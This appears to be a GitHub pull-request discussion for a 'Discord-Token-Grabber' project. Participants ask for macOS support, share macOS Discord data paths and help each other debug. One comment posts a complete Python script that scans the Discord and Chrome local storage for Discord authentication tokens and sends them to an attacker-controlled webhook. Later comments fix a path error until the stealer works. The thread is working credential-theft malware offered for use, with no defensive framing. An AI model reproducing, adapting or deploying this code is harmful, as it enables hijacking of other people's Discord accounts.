Discord-Token-Grabber icon indicating copy to clipboard operation
Discord-Token-Grabber copied to clipboard

Restructure the original code and add Linux support

Open 0vj opened this issue 3 years ago • 10 comments

0vj avatar May 06 '21 00:05 0vj

can you make it work on macOS too please?

8itCat avatar May 10 '21 21:05 8itCat

Yes, but unfortunately I don't have locations for Discord configurations on Mac OS

0vj avatar May 11 '21 04:05 0vj

Thanks for your hard work : D

LazyDevv avatar Jun 07 '21 06:06 LazyDevv

On Mac laptops and computers, you can find your Discord installation files in the following folders:

Caches, logs, and other data: ~/Library/Application Support/Discord

Installation files: /Library/Application Support/Discord

Gravy59 avatar Oct 04 '21 17:10 Gravy59

Alternatively, installation files (binaries) can be found in /Applications/Discord.app/

Gravy59 avatar Oct 04 '21 17:10 Gravy59

I did it , a Linux version of the Token Grabber:

import os
import re
import json
import requests

# your webhook URL
WEBHOOK_URL = 'YOUR WEBHOOK URL'

# mentions you when you get a hit
PING_ME = False


def find_tokens(path):
    path += '/Local Storage/leveldb'

    tokens = []

    for file_name in os.listdir(path):
        if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{path}/{file_name}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for token in re.findall(regex, line):
                    tokens.append(token)
    return tokens


def main():
    config = "/home/YOUR_NAME/.config"
    paths = {
        'Discord': config + '/discord',
        'Discord Canary': config + '/discordcanary',
        'Discord PTB': config + '/discordptb',
        'Google Chrome': config + '/google-chrome/Default'
    }

    message = '@everyone' if PING_ME else ''

    for platform, path in paths.items():
        if not os.path.exists(path):
            continue

        message += f'\n**{platform}**\n```\n'

        tokens = find_tokens(path)
        print(tokens)
        if len(tokens) > 0:
            for token in tokens:
                message += f'{token}\n'
        else:
            message += 'No tokens found.\n'

        message += '```'

    headers = {
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
    }

    payload = json.dumps({'content': message})

    try:
        requests.post(WEBHOOK_URL, data=payload.encode(), headers=headers)
    except:
        pass


if __name__ == '__main__':
    main()

EDIT : I didn't put the auto-home

om4r932 avatar Dec 20 '21 22:12 om4r932

This is not working. It only pings me.

EZRAIDv2 avatar Jan 09 '22 10:01 EZRAIDv2

It is working now, but it throws an error:

Traceback (most recent call last):
  File "tg.py", line 70, in <module>
    main()
  File "tg.py", line 46, in main
    tokens = find_tokens(path)
  File "tg.py", line 18, in find_tokens
    for file_name in os.listdir(path):
FileNotFoundError: [Errno 2] No such file or directory: '/home/EZRAIDv2/.config/discord/Local Storage/leveldb'

My OS is Linux Mint. My Discord installed using flatpak.

EZRAIDv2 avatar Jan 09 '22 10:01 EZRAIDv2

It is working now, but it throws an error:

Traceback (most recent call last):
  File "tg.py", line 70, in <module>
    main()
  File "tg.py", line 46, in main
    tokens = find_tokens(path)
  File "tg.py", line 18, in find_tokens
    for file_name in os.listdir(path):
FileNotFoundError: [Errno 2] No such file or directory: '/home/EZRAIDv2/.config/discord/Local Storage/leveldb'

My OS is Linux Mint. My Discord installed using flatpak.

You put the wrong name , in Linux Mint , you can't use Caps to access your home directory , to know your home directory , open a terminal , write cd ~ then pwd and change the /home/YOUR_NAME by the result of the pwd command and try again

om4r932 avatar Jan 09 '22 12:01 om4r932

It is working now, but it throws an error:

Traceback (most recent call last):
  File "tg.py", line 70, in <module>
    main()
  File "tg.py", line 46, in main
    tokens = find_tokens(path)
  File "tg.py", line 18, in find_tokens
    for file_name in os.listdir(path):
FileNotFoundError: [Errno 2] No such file or directory: '/home/EZRAIDv2/.config/discord/Local Storage/leveldb'

My OS is Linux Mint. My Discord installed using flatpak.

You put the wrong name , in Linux Mint , you can't use Caps to access your home directory , to know your home directory , open a terminal , write cd ~ then pwd and change the /home/YOUR_NAME by the result of the pwd command and try again

It works :)

EZRAIDv2 avatar Jan 11 '22 10:01 EZRAIDv2